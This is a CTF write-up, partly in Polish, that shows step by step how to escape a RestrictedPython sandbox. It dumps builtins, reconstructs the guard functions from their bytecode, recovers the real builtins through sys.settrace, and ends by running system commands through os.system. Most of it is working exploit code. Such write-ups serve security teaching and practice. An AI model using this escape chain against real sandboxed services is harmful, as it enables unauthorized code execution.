[Hard] Python calculator


Mamy kalkulator napisany w Pythonie, który pozwala na wyliczanie dowolnych wyrażeń matematycznych. Dla celów bezpieczeństwa, kod wykonywany w Pythonie jest sandboxowany. Celem jest odnalezienie sposobu na wyjście z sandboxa i wykonanie pliku /etc/flag.py.


Warning: this is really overengineered and can definitely be done quicker but w/e

Here we get a link to a website that lets us run python code in a sandbox. index

If we try to run print(1) we get the following error:

1
2
3
4
5
6
7
8
9
/usr/local/lib/python3.9/site-packages/RestrictedPython/compile.py:209: SyntaxWarning: Line None: Prints, but never reads 'printed' variable.
  warnings.warn(
Traceback (most recent call last):
  File "/home/user/sandbox.py", line 43, in <module>
    execute(sys.stdin.buffer.read(l).decode('utf8'))
  File "/home/user/sandbox.py", line 34, in execute
    exec(byte_code, {'__builtins__': safe_builtins}, None)
  File "<inline code>", line 1, in <module>
NameError: name '_print_' is not defined

We can see that we’re running within RestrictedPython, a publicly available python sandboxing library. While it is fairly good at it’s job from what I’ve seen (blocks accessing anything starting and underscore, builtins are removed), it can’t help if the developer adds anything custom to the sandbox.

Since we can’t access builtins directly, we can utilize str.format to do dump the names of builtins accessible in our current context.

1
2
3
4
def a():
  return 1

show(str.format("{.__globals__[__builtins__]}", a))


Skipping the typical classes and functions, there were few interesting ones.

1
2
3
4
5
    'setattr': <function guarded_setattr at 0x7f28f29f0f70>, 
    'delattr': <function guarded_delattr at 0x7f28f29f4310>, 
    '_getattr_': <function my_getattr at 0x7f28f2a11310>, 
    '__import__': <function safe_import at 0x7f28f2cc1040>, 
    'show': <function show at 0x7f28f2bc7160>

setattr and delattr were provided by RestrictedPython but _getattr_, __import__ and show were provided to us.

With the knowledge that these functions were modified, we can dump their code object and analyze it if there’s anything potentially vulnerable in there.

1
2
show(str.format("{.__globals__[__builtins__][_getattr_].__code__.co_names}", a))
# co_names is just one of the variables, we can see them all if we run dir(func_name.__code__) on an example function we define

After dumping all the attributes of a function, we can then reconstruct it locally and dump it’s bytecode with dis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from types import CodeType
import dis

def my_getattr(): pass
new_code = CodeType(
    2, # co_argcount
    0, # co_posonlyargcount
    0, # co_kwonlyargcount
    2, # co_nlocals
    3, # co_stacksize
    67, # co_flags
    b'|\x00t\x00k\x02r\x18|\x01d\x01k\x02r\x18t\x01d\x02\x83\x01\x82\x01|\x00t\x02k\x02r(t\x01d\x03\x83\x01\x82\x01|\x00t\x03k\x02r8t\x01d\x04\x83\x01\x82\x01t\x04|\x00|\x01\x83\x02S\x00', # co_code
    (None, 'modules', 'sys.modules is disallowed', 'accessing operator is disallowed', 'accessing os is disallowed'), # co_consts
    ('sys', 'AttributeError', 'operator', 'os', 'orig_getattr'), # co_names
    ('obj', 'name'), # co_varnames
    '/home/user/sandbox.py', # co_filename
    'my_getattr', # co_name
    18, # co_firstlineno
    b'\x00\x01\x10\x01\x08\x02\x08\x01\x08\x02\x08\x01\x08\x02', # co_lnotab
    (), # co_freevars
    (), # co_cellvars
)

my_getattr.__code__ = new_code
print(dis.dis(my_getattr))

And then from the disassembly we can recreate what the functions source could look like ourselves

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def safe_import(name, globals, locals, fromlist, level):
    if name in ['fractions', 'math']:
        return __import__(name, globals=globals, locals=locals, fromlist=fromlist, level=level)
    raise Exception('Not allowed to import ' + name)


def execute(code):
    byte_code = compile_restricted(code, filename='<inline code>', mode='exec')
    return exec(byte_code, {'__builtins__': safe_builtins})


def my_getattr(obj, name):
    if obj == sys and name == 'modules':
        raise AttributeError('sys.modules is disallowed')
    if obj == operator:
        raise AttributeError('accessing operator is disallowed')
    if obj == os:
        raise AttributeError('accessing os is disallowed')
    return orig_getattr(obj, name)


Now we know that:

With that in mind, we can now investigate if there’s anything in those modules that could help us.

Fortunately for us, fractions imports the sys module and few others which opens up a ton of possibilities for us.

With sys, we can set trace hooks and inspect the context a call was made in which in turn allows us to recover builtins if the function came from outside the sandbox.

1
2
3
4
5
6
7
8
9
10
11
from fractions import sys

# Define our hook function
def hook(frame, event, arg):
    show(frame)

# Set the trace hook
sys.settrace(hook)

# Trigger a trace
show(1)
1
2
3
4
5
6
7
<frame at 0x7f1fe10c8040, file '/home/user/sandbox.py', line 13, code show>
1
<frame at 0x7f1fe10c8040, file '/usr/local/lib/python3.9/threading.py', line 1408, code _shutdown>
<frame at 0x562c3a500930, file '/usr/local/lib/python3.9/threading.py', line 985, code _stop>
<frame at 0x7f1fe0fdd1e0, file '/usr/local/lib/python3.9/threading.py', line 1127, code daemon>
<frame at 0x7f1fe0fdd380, file '/usr/local/lib/python3.9/threading.py', line 768, code _maintain_shutdown_locks>
<frame at 0x7f1fe0fd91f0, file '/usr/local/lib/python3.9/threading.py', line 778, code <listcomp>>


The frame parameter contains properties like f_code which is the __code__ object of the called function, f_lineno which tells us what line it was called on and also f_builtins which allows us to access the builtins accessible from the context of the called function.

Since show() is a function defined in the main module, it has access to the original builtins.

1
2
3
4
5
6
7
8
9
10
11
from fractions import sys

# Define our hook function
def hook(frame, event, arg):
    show(frame.f_builtins)

# Set the trace hook
sys.settrace(hook)

# Trigger a trace
show(1)

builtins

Now that we have builtins, we can use them to access sys.modules, extract os and run system commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from fractions import sys

# Define our hook function to extract builtins
my_builtins = None
def hook(frame, event, arg):
    global my_builtins
    if not my_builtins:
        my_builtins = frame.f_builtins

# Set the trace hook
sys.settrace(hook)

# Trigger a trace
show(1)

ga = my_builtins.get('getattr') # Recover the original getattr
modules = ga(sys, 'modules')
os = modules.get('os')
system = ga(os, 'system')
system("id")

rce

And now we can run the target /etc/flag.py file to get the flag

1
CTF_AReallyNeatPythonSandboxBypass /etc/flag.py